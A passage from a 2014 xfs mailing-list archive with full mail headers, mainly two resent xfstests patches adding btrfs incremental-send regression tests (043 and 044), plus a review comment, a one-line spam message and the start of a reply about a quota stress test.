+_scratch_xfs_repair -n 2>&1 | \ > + _filter_repair > $tmp.repair The filter removes the AGI unlinked bucket inode listings, which is what we really want to see here. The checking for disconnected inodes is a side effect of using no-modify mode - if it was a real repair that inode would be trashed, not seen as a disconnected inode. Hence I think this is really checking for the wrong thing... Cheers, Dave. -- Dave Chinner david@fromorbit.com From fdmanana@gmail.com Thu Mar 13 07:10:28 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DC99D7F93 for ; Thu, 13 Mar 2014 07:10:28 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id B32668F8081 for ; Thu, 13 Mar 2014 05:10:25 -0700 (PDT) X-ASG-Debug-ID: 1394712619-04bdf05dac52e7a0001-NocioJ Received: from mail-wg0-f52.google.com (mail-wg0-f52.google.com [74.125.82.52]) by cuda.sgi.com with ESMTP id lMbKKPx9cYPIyoWs (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 13 Mar 2014 05:10:20 -0700 (PDT) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.82.52 Received: by mail-wg0-f52.google.com with SMTP id k14so752350wgh.11 for ; Thu, 13 Mar 2014 05:10:19 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=DTGLuotjq4AsO9ILVy4GqDWRfm2+gtl2IOEgoL0pOP0=; b=d0v61Dax25E7AaG4Uq80J4FzSLNQSVP5hPFtVGkiWifNUDS0yhTB75WqnRzjn0aXcq qQKrMO1oLDL+BfJcmdSnTR2XUnkCr+3pkD7QvdZ+H402L2TWxwTJ5iTubJcKyt7or6w3 ngsaWpNIBPWRbiLYAWp0trBuWC9P4KhckD046qkGuouS0Ss2P3GdrfYOW41i+jOADjq3 GyZSB9PZybuIEpZHzgHcivo4usxD70lV4trxpbRkwQn3eeLAtSNmPi/YfsRMxftSyQ9Z U63SsXWfKG/VYDZTNGUZUFoXkIaWBL8utehtaBIpmWRlAdQXUpcG9lY+zKKNRQr9kDkl ELVA== X-Received: by 10.180.77.200 with SMTP id u8mr1359665wiw.48.1394712619024; Thu, 13 Mar 2014 05:10:19 -0700 (PDT) Received: from debian-vm3.lan (bl10-252-34.dsl.telepac.pt. [85.243.252.34]) by mx.google.com with ESMTPSA id hy8sm5194972wjb.2.2014.03.13.05.10.17 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Thu, 13 Mar 2014 05:10:18 -0700 (PDT) From: Filipe David Borba Manana To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, jbacik@fb.com, Filipe David Borba Manana Subject: [PATCH RESEND] xfstests: add test for btrfs send issuing premature rmdir operations Date: Thu, 13 Mar 2014 12:09:53 +0000 X-ASG-Orig-Subj: [PATCH RESEND] xfstests: add test for btrfs send issuing premature rmdir operations Message-Id: <1394712593-9212-1-git-send-email-fdmanana@gmail.com> X-Mailer: git-send-email 1.7.10.4 X-Barracuda-Connect: mail-wg0-f52.google.com[74.125.82.52] X-Barracuda-Start-Time: 1394712620 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3838 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Regression test for btrfs incremental send issue where a rmdir instruction is sent against an orphan directory inode which is not empty yet, causing btrfs receive to fail when it attempts to remove the directory. This issue is fixed by the following linux kernel btrfs patch: Btrfs: fix send attempting to rmdir non-empty directories Signed-off-by: Filipe David Borba Manana Reviewed-by: Josef Bacik --- Resending since Dave Chinner asked to do it for any patches he might have missed in his last merge. tests/btrfs/043 | 149 +++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/043.out | 1 + tests/btrfs/group | 1 + 3 files changed, 151 insertions(+) create mode 100644 tests/btrfs/043 create mode 100644 tests/btrfs/043.out diff --git a/tests/btrfs/043 b/tests/btrfs/043 new file mode 100644 index 0000000..b1fef96 --- /dev/null +++ b/tests/btrfs/043 @@ -0,0 +1,149 @@ +#! /bin/bash +# FS QA Test No. btrfs/043 +# +# Regression test for btrfs incremental send issue where a rmdir instruction +# is sent against an orphan directory inode which is not empty yet, causing +# btrfs receive to fail when it attempts to remove the directory. +# +# This issue is fixed by the following linux kernel btrfs patch: +# +# Btrfs: fix send attempting to rmdir non-empty directories +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Filipe Manana. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +tmp=`mktemp -d` +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + rm -fr $tmp +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux +_require_scratch +_require_fssum +_need_to_be_root + +rm -f $seqres.full + +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +mkdir -p $SCRATCH_MNT/a/b +mkdir $SCRATCH_MNT/0 +mkdir $SCRATCH_MNT/1 +mkdir $SCRATCH_MNT/a/b/c +mv $SCRATCH_MNT/0 $SCRATCH_MNT/a/b/c +mv $SCRATCH_MNT/1 $SCRATCH_MNT/a/b/c +echo 'ola mundo' > $SCRATCH_MNT/a/b/c/foo.txt +mkdir $SCRATCH_MNT/a/b/c/x +mkdir $SCRATCH_MNT/a/b/c/x2 +mkdir $SCRATCH_MNT/a/b/y +mkdir $SCRATCH_MNT/a/b/z +mkdir -p $SCRATCH_MNT/a/b/d1/d2/d3 +mkdir $SCRATCH_MNT/a/b/d4 + +# Filesystem looks like: +# +# . (ino 256) +# |-- a/ (ino 257) +# |-- b/ (ino 258) +# |-- c/ (ino 261) +# | |-- foo.txt (ino 262) +# | |-- 0/ (ino 259) +# | |-- 1/ (ino 260) +# | |-- x/ (ino 263) +# | |-- x2/ (ino 264) +# | +# |-- y/ (ino 265) +# |-- z/ (ino 266) +# |-- d1/ (ino 267) +# | |-- d2/ (ino 268) +# | |-- d3/ (ino 269) +# | +# |-- d4/ (ino 270) + +_run_btrfs_util_prog subvolume snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap1 + +rm -f $SCRATCH_MNT/a/b/c/foo.txt +mv $SCRATCH_MNT/a/b/y $SCRATCH_MNT/a/b/YY +mv $SCRATCH_MNT/a/b/z $SCRATCH_MNT/a +mv $SCRATCH_MNT/a/b/c/x $SCRATCH_MNT/a/b/YY +mv $SCRATCH_MNT/a/b/c/0 $SCRATCH_MNT/a/b/YY/00 +mv $SCRATCH_MNT/a/b/c/x2 $SCRATCH_MNT/a/z/X_2 +mv $SCRATCH_MNT/a/b/c/1 $SCRATCH_MNT/a/z/X_2 +rmdir $SCRATCH_MNT/a/b/c +mv $SCRATCH_MNT/a/b/d4 $SCRATCH_MNT/a/d44 +mv $SCRATCH_MNT/a/b/d1/d2 $SCRATCH_MNT/a/d44 +rmdir $SCRATCH_MNT/a/b/d1 + +# Filesystem now looks like: +# +# . (ino 256) +# |-- a/ (ino 257) +# |-- b/ (ino 258) +# | |-- YY/ (ino 265) +# | |-- x/ (ino 263) +# | |-- 00/ (ino 259) +# | +# |-- z/ (ino 266) +# | |-- X_2/ (ino 264) +# | |-- 1/ (ino 260) +# | +# |-- d44/ (ino 270) +# |-- d2/ (ino 268) +# |-- d3/ (ino 269) + +_run_btrfs_util_prog subvolume snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap2 + +run_check $FSSUM_PROG -A -f -w $tmp/1.fssum $SCRATCH_MNT/mysnap1 +run_check $FSSUM_PROG -A -f -w $tmp/2.fssum -x $SCRATCH_MNT/mysnap2/mysnap1 \ + $SCRATCH_MNT/mysnap2 + +_run_btrfs_util_prog send $SCRATCH_MNT/mysnap1 -f $tmp/1.snap +_run_btrfs_util_prog send -p $SCRATCH_MNT/mysnap1 $SCRATCH_MNT/mysnap2 \ + -f $tmp/2.snap + +_check_scratch_fs + +_scratch_unmount +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +_run_btrfs_util_prog receive $SCRATCH_MNT -f $tmp/1.snap +run_check $FSSUM_PROG -r $tmp/1.fssum $SCRATCH_MNT/mysnap1 + +_run_btrfs_util_prog receive $SCRATCH_MNT -f $tmp/2.snap +run_check $FSSUM_PROG -r $tmp/2.fssum $SCRATCH_MNT/mysnap2 + +_check_scratch_fs + +status=0 +exit diff --git a/tests/btrfs/043.out b/tests/btrfs/043.out new file mode 100644 index 0000000..7851fbe --- /dev/null +++ b/tests/btrfs/043.out @@ -0,0 +1 @@ +QA output created by 043 diff --git a/tests/btrfs/group b/tests/btrfs/group index 1037761..fabe3b5 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -45,3 +45,4 @@ 040 auto quick 041 auto quick 042 auto quick +043 auto quick -- 1.7.10.4 From fdmanana@gmail.com Thu Mar 13 07:11:07 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6B88C7F9A for ; Thu, 13 Mar 2014 07:11:07 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 50EC5304032 for ; Thu, 13 Mar 2014 05:11:07 -0700 (PDT) X-ASG-Debug-ID: 1394712664-04cb6c5676500340001-NocioJ Received: from mail-wi0-f170.google.com (mail-wi0-f170.google.com [209.85.212.170]) by cuda.sgi.com with ESMTP id ZejXEUDHejEh7Ykm (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 13 Mar 2014 05:11:05 -0700 (PDT) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.212.170 X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.170] Received: by mail-wi0-f170.google.com with SMTP id n15so3454683wiw.1 for ; Thu, 13 Mar 2014 05:11:04 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.170] X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.170] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=Oe4o/QFQOIcalGVPLq5DhVtHDJtBIyVYYijYvhZKMgQ=; b=pO5bWsn9Uh3aYMvpoa3lRXTMwj/De2HT7mFJLzRiMUEXGcGsP/ZqLVoFiSKb0n2OER At9fo//VY0fjsFGXaqAPezLWpfRWuzHxl+uL1NI/DGebdx5j2sIuCb9soMmdcny/3dHZ RfZ6sACqfYA8Fvq717QNvPEPhCQDmxblRkKpP0dDhU6fMFbldbVJLIIP1hFD9VuNN4ge x8ZFVqvB0F9c2uR89Vtahcbe3sltaoMvEWqH0hxfZ9kMSW0HtnauQSWGRDP8zIhxQMrJ KZaUONcK2jE3dO8yxhzxK/EI9ND1AZ6wWkU6NBga2ne89nYxmBuibtvhrRpJrNrX/RSt MHXg== X-Received: by 10.180.75.202 with SMTP id e10mr1359282wiw.50.1394712664553; Thu, 13 Mar 2014 05:11:04 -0700 (PDT) Received: from debian-vm3.lan (bl10-252-34.dsl.telepac.pt. [85.243.252.34]) by mx.google.com with ESMTPSA id jd2sm6942257wic.9.2014.03.13.05.10.59 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Thu, 13 Mar 2014 05:11:03 -0700 (PDT) From: Filipe David Borba Manana To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, jbacik@fb.com, Filipe David Borba Manana Subject: [PATCH RESEND] xfstests: add regression test for btrfs incremental send Date: Thu, 13 Mar 2014 12:10:42 +0000 X-ASG-Orig-Subj: [PATCH RESEND] xfstests: add regression test for btrfs incremental send Message-Id: <1394712642-9256-1-git-send-email-fdmanana@gmail.com> X-Mailer: git-send-email 1.7.10.4 X-Barracuda-Connect: mail-wi0-f170.google.com[209.85.212.170] X-Barracuda-Start-Time: 1394712665 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3838 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Regression test for a btrfs incremental send issue where invalid paths for utimes, chown and chmod operations were sent to the send stream, causing btrfs receive to fail. If a directory had a move/rename operation delayed, and none of its parent directories, except for the immediate one, had delayed move/rename operations, after processing the directory's references, the incremental send code would issue invalid paths for utimes, chown and chmod operations. This issue is fixed by the following linux kernel btrfs patch: Btrfs: fix send issuing outdated paths for utimes, chown and chmod Signed-off-by: Filipe David Borba Manana Reviewed-by: Josef Bacik --- Resending since Dave Chinner asked to do it for any patches he might have missed in his last merge. Originally submitted with the title: "xfstests: add test btrfs/042 for btrfs incremental send" tests/btrfs/044 | 129 +++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/044.out | 1 + tests/btrfs/group | 1 + 3 files changed, 131 insertions(+) create mode 100644 tests/btrfs/044 create mode 100644 tests/btrfs/044.out diff --git a/tests/btrfs/044 b/tests/btrfs/044 new file mode 100644 index 0000000..dae189e --- /dev/null +++ b/tests/btrfs/044 @@ -0,0 +1,129 @@ +#! /bin/bash +# FS QA Test No. btrfs/044 +# +# Regression test for a btrfs incremental send issue where under certain +# scenarios invalid paths for utimes, chown and chmod operations were sent +# to the send stream, causing btrfs receive to fail. +# +# If a directory had a move/rename operation delayed, and none of its parent +# directories, except for the immediate one, had delayed move/rename operations, +# after processing the directory's references, the incremental send code would +# issue invalid paths for utimes, chown and chmod operations. +# +# This issue is fixed by the following linux kernel btrfs patch: +# +# Btrfs: fix send issuing outdated paths for utimes, chown and chmod +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Filipe Manana. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +tmp=`mktemp -d` +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + rm -fr $tmp +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux +_require_scratch +_require_fssum +_need_to_be_root + +rm -f $seqres.full + +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +umask 0 +mkdir -p $SCRATCH_MNT/a/b/c/d/e +mkdir $SCRATCH_MNT/a/b/c/f +echo 'ola ' > $SCRATCH_MNT/a/b/c/d/e/file.txt +chmod 0777 $SCRATCH_MNT/a/b/c/d/e + +# Filesystem looks like: +# +# . (ino 256) +# |-- a/ (ino 257) +# |-- b/ (ino 258) +# |-- c/ (ino 259) +# |-- d/ (ino 260) +# | |-- e/ (ino 261) +# | |-- file.txt (ino 262) +# | +# |-- f/ (ino 263) + +_run_btrfs_util_prog subvolume snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap1 + +echo 'mundo' >> $SCRATCH_MNT/a/b/c/d/e/file.txt +mv $SCRATCH_MNT/a/b/c/d/e/file.txt $SCRATCH_MNT/a/b/c/d/e/file2.txt +mv $SCRATCH_MNT/a/b/c/f $SCRATCH_MNT/a/b/f2 +mv $SCRATCH_MNT/a/b/c/d/e $SCRATCH_MNT/a/b/f2/e2 +mv $SCRATCH_MNT/a/b/c $SCRATCH_MNT/a/b/c2 +mv $SCRATCH_MNT/a/b/c2/d $SCRATCH_MNT/a/b/c2/d2 +chmod 0700 $SCRATCH_MNT/a/b/f2/e2 + +# Filesystem now looks like: +# +# . (ino 256) +# |-- a/ (ino 257) +# |-- b/ (ino 258) +# |-- c2/ (ino 259) +# | |-- d2/ (ino 260) +# | +# |-- f2/ (ino 263) +# |-- e2 (ino 261) +# |-- file2.txt (ino 263) + +_run_btrfs_util_prog subvolume snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap2 + +run_check $FSSUM_PROG -A -f -w $tmp/1.fssum $SCRATCH_MNT/mysnap1 +run_check $FSSUM_PROG -A -f -w $tmp/2.fssum -x $SCRATCH_MNT/mysnap2/mysnap1 \ + $SCRATCH_MNT/mysnap2 + +_run_btrfs_util_prog send $SCRATCH_MNT/mysnap1 -f $tmp/1.snap +_run_btrfs_util_prog send -p $SCRATCH_MNT/mysnap1 $SCRATCH_MNT/mysnap2 \ + -f $tmp/2.snap + +_check_scratch_fs + +_scratch_unmount +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +_run_btrfs_util_prog receive $SCRATCH_MNT -f $tmp/1.snap +run_check $FSSUM_PROG -r $tmp/1.fssum $SCRATCH_MNT/mysnap1 + +_run_btrfs_util_prog receive $SCRATCH_MNT -f $tmp/2.snap +run_check $FSSUM_PROG -r $tmp/2.fssum $SCRATCH_MNT/mysnap2 + +_check_scratch_fs + +status=0 +exit diff --git a/tests/btrfs/044.out b/tests/btrfs/044.out new file mode 100644 index 0000000..ef9885b --- /dev/null +++ b/tests/btrfs/044.out @@ -0,0 +1 @@ +QA output created by 044 diff --git a/tests/btrfs/group b/tests/btrfs/group index fabe3b5..4589043 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -46,3 +46,4 @@ 041 auto quick 042 auto quick 043 auto quick +044 auto quick -- 1.7.10.4 From prvs=14240615c=elie.dhivert@etu.univ-tours.fr Thu Mar 13 07:36:40 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 851E57F54 for ; Thu, 13 Mar 2014 07:36:40 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 537818F8094 for ; Thu, 13 Mar 2014 05:36:40 -0700 (PDT) X-ASG-Debug-ID: 1394714197-04bdf05dac5306e0001-NocioJ Received: from hermes.univ-tours.fr (hermes.univ-tours.fr [193.52.209.50]) by cuda.sgi.com with ESMTP id lWw6pzsG5CHlr5mk for ; Thu, 13 Mar 2014 05:36:38 -0700 (PDT) X-Barracuda-Envelope-From: prvs=14240615c=elie.dhivert@etu.univ-tours.fr X-Barracuda-Apparent-Source-IP: 193.52.209.50 DomainKey-Signature: s=main; d=univ-tours.fr; c=nofws; q=dns; h=X-IronPort-Anti-Spam-Filtered: X-IronPort-Anti-Spam-Result:X-IPAS-Result:Received: Received:X-Virus-Scanned:Received:Received: X-Virus-Scanned:Received:Received:Date:From:Reply-To: Message-ID:Subject:MIME-Version:Content-Type: Content-Transfer-Encoding:X-Originating-IP:X-Mailer: Thread-Topic:Thread-Index; b=pQzJR5XK0NwG9fK8qCgVGj+iTxKgvJAfWsSuTrBqTiHvTJLOniBXd530 4IUokewtBYc8eSBYOUc3WwUME3Ctam4S+190uWABTBuNuMszne3xXDtId PMbSpkvD8dDGRw3bFH1OvP7D6IHmTlmOqmgN8aSBI7gpGZItg0M9/eL5x 4=; DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=univ-tours.fr; i=@univ-tours.fr; q=dns/txt; s=main; t=1394714199; x=1426250199; h=date:from:reply-to:message-id:subject:mime-version: content-transfer-encoding; bh=/Xa+PnKfbUN03nwFFGpJ6OxnCAC1Wu6x9rnou8T92N4=; b=g8o59oQbqNWSZRSc1b/hCHxFk6GQZL2hZ2siPhkWWC3OSqP18rjtT8Eo Uud0+YfdmWSnz0CK7SdbMY/XvSNqSK7QS0QOyW90rAtKtbVb84BPD/+AW wGnVvg6N5x4TaWCVaSG7HEC6/NwIOPqgy7nTHmw1lt9pabpgKfSH4S/bB Y=; X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Aps8AMWlIVMKwQUE/2dsb2JhbABZD4FdBAGCJ4MGug+ERAglgQt0gh0PGQpoARAFDQINGQJKEQeGBrQThVmcABeBKY0AgyoPgToEnzmOLAI5gio X-IPAS-Result: Aps8AMWlIVMKwQUE/2dsb2JhbABZD4FdBAGCJ4MGug+ERAglgQt0gh0PGQpoARAFDQINGQJKEQeGBrQThVmcABeBKY0AgyoPgToEnzmOLAI5gio Received: from unknown (HELO proxy20.zimbra-etu.univ-tours.local) ([10.193.5.4]) by hermes2.univ-tours.fr with ESMTP; 13 Mar 2014 13:36:31 +0100 Received: from localhost (localhost [127.0.0.1]) by proxy20.zimbra-etu.univ-tours.local (Postfix) with ESMTP id BBA607E24D; Thu, 13 Mar 2014 13:36:28 +0100 (CET) X-Virus-Scanned: amavisd-new at proxy20.zimbra-etu.univ-tours.local Received: from proxy20.zimbra-etu.univ-tours.local ([127.0.0.1]) by localhost (proxy20.zimbra-etu.univ-tours.local [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 7Nf0a9aGv3P2; Thu, 13 Mar 2014 13:36:28 +0100 (CET) Received: from localhost (localhost [127.0.0.1]) by proxy20.zimbra-etu.univ-tours.local (Postfix) with ESMTP id 90DF420EDF; Thu, 13 Mar 2014 13:36:14 +0100 (CET) X-Virus-Scanned: amavisd-new at proxy20.zimbra-etu.univ-tours.local Received: from proxy20.zimbra-etu.univ-tours.local ([127.0.0.1]) by localhost (proxy20.zimbra-etu.univ-tours.local [127.0.0.1]) (amavisd-new, port 10026) with ESMTP id D9PXp47YKV5D; Thu, 13 Mar 2014 13:36:14 +0100 (CET) Received: from mail10.zimbra-etu.univ-tours.local (mail10.zimbra-etu.univ-tours.local [10.193.5.43]) by proxy20.zimbra-etu.univ-tours.local (Postfix) with ESMTP id 2879920DBF; Thu, 13 Mar 2014 13:35:49 +0100 (CET) Date: Thu, 13 Mar 2014 13:35:48 +0100 (CET) From: Cham Tao Soon Reply-To: Cham Tao Soon Message-ID: <1535852379.41384659.1394714148169.JavaMail.zimbra@etu.univ-tours.fr> Subject: UOB-X1H: Message.. MIME-Version: 1.0 X-ASG-Orig-Subj: UOB-X1H: Message.. Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [10.193.5.4] X-Mailer: Zimbra 8.0.4_GA_5739 (zclient/8.0.4_GA_5739) Thread-Topic: UOB-X1H: Message.. Thread-Index: 2dsi3n/ILG/CoJsqGvE1XUJbCUnhRA== X-Barracuda-Connect: hermes.univ-tours.fr[193.52.209.50] X-Barracuda-Start-Time: 1394714197 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 1.43 X-Barracuda-Spam-Status: No, SCORE=1.43 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, MISSING_HEADERS, PR0N_SUBJECT, THREAD_INDEX, THREAD_TOPIC, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3839 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 1.21 MISSING_HEADERS Missing To: header 0.20 PR0N_SUBJECT Subject has letters around special characters (pr0n) 0.00 TO_CC_NONE No To: or Cc: header To: undisclosed-recipients:; I have proposal for you. From prvs=8149828ae9=jbacik@fb.com Thu Mar 13 09:02:38 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id DCEA37F4E for ; Thu, 13 Mar 2014 09:02:37 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8605DAC00A for ; Thu, 13 Mar 2014 07:02:34 -0700 (PDT) X-ASG-Debug-ID: 1394719352-04bdf05daa538480001-NocioJ Received: from mx0b-00082601.pphosted.com (mx0b-00082601.pphosted.com [67.231.153.30]) by cuda.sgi.com with ESMTP id BGgmvp1sUKbnvGF5 for ; Thu, 13 Mar 2014 07:02:32 -0700 (PDT) X-Barracuda-Envelope-From: prvs=8149828ae9=jbacik@fb.com X-Barracuda-Apparent-Source-IP: 67.231.153.30 X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] Received: from pps.filterd (m0004077 [127.0.0.1]) by mx0b-00082601.pphosted.com (8.14.5/8.14.5) with SMTP id s2DDwKeA022432; Thu, 13 Mar 2014 07:02:09 -0700 X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fb.com; h=message-id : date : from : mime-version : to : cc : subject : references : in-reply-to : content-type : content-transfer-encoding; s=facebook; bh=Scx9Sf9yVvSJPBSBsJsAjdhlGnC1IRt8WiyiSlvvuBc=; b=iwj6f5R4kMzEB1Hi8tqoVAacVfASbwQJ/wvuM0ILY46WnfmCHkE0AxRwMliP9WvN7OQ3 XTgxl0hgyffesc3gcGy+zfnzanHRzLqqd+hyax1jcmpW6hK++4yQwdfSPPRwH9jxRAR1 CBTty349WMnyW/x9vkvyZkUFU4pRIJSFu6s= Received: from mail.thefacebook.com (mailwest.thefacebook.com [173.252.71.148]) by mx0b-00082601.pphosted.com with ESMTP id 1jk25v2k0k-1 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=OK); Thu, 13 Mar 2014 07:02:09 -0700 Received: from localhost.localdomain (192.168.57.29) by mail.TheFacebook.com (192.168.16.17) with Microsoft SMTP Server (TLS) id 14.3.174.1; Thu, 13 Mar 2014 07:02:07 -0700 Message-ID: <5321BA5A.3010800@fb.com> Date: Thu, 13 Mar 2014 10:02:02 -0400 From: Josef Bacik User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Dave Chinner CC: Wang Shilong , , Subject: Re: [PATCH v2 3/3] xfstests/btrfs: add stress test for btrfs quota operations References: <1394423051-17356-1-git-send-email-wangsl.fnst@cn.fujitsu.com> <1394423051-17356-3-git-send-email-wangsl.fnst@cn.fujitsu.com> <531E171B.8090204@fb.com> <20140313031217.GC4263@dastard> X-ASG-Orig-Subj: Re: [PATCH v2 3/3] xfstests/btrfs: add stress test for btrfs quota operations In-Reply-To: 